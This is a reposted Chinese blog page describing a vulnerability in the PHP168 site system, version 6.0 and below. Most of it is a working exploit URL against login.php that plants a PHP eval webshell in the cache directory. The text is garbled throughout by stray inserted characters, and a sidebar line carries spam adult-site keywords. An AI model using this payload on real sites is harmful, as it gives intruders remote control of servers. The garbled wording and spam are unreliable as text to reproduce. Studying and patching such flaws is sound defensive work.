您當(dāng)前位置：首頁(yè) > php開(kāi)源 > DedeCMS > PHP168 整站系統(tǒng)6.0及以下版本漏洞

PHP168 整站系統(tǒng)6.0及以下版本漏洞

來(lái)源：程序員人生發(fā)布時(shí)間：2014-06-14 20:25:02 閱讀次數(shù)：3089次

　　網(wǎng)(LieHuo.Net)教程最近在研究PHP，那個(gè)勁啊，就甭提鳥(niǎo)，本文引自黑客動(dòng)畫(huà)吧。

以下為引用的內(nèi)容：
危險(xiǎn)等級(jí)：高
影響版本：PHP168 6.0以下版本
入侵者可以在用戶登陸頁(yè)面構(gòu)造特殊語(yǔ)句，將PHP一句話寫(xiě)入cache目錄，從而獲得使用PHP168整站程序網(wǎng)站的WEBSHELL權(quán)限。
出問(wèn)題的文件
login.php
login.php?makehtml=1&chdb[htmlname]=shell.php&chdb[path]=cache&content=<?php%20@eval($_POST[a]);?>
寫(xiě)到：cache/shell.php

生活不易，碼農(nóng)辛苦
如果您覺(jué)得本網(wǎng)站對(duì)您的學(xué)習(xí)有所幫助,可以手機(jī)掃描二維碼進(jìn)行捐贈(zèng)
程序員人生

------分隔線----------------------------

上一篇 修正DedeCMS系統(tǒng)用戶組信息發(fā)布員權(quán)限BUG

下一篇 WordPress獲取熱評(píng)文章,禁止搜索,自動(dòng)草稿

分享到:

------分隔線----------------------------

為碼而活

積分：4237

15粉絲

7關(guān)注

欄目熱點(diǎn)

多多色-多人伦交性欧美在线观看-多人伦精品一区二区三区视频-多色视频-免费黄色视屏网站-免费黄色在线

PHP168 整站系統(tǒng)6.0及以下版本漏洞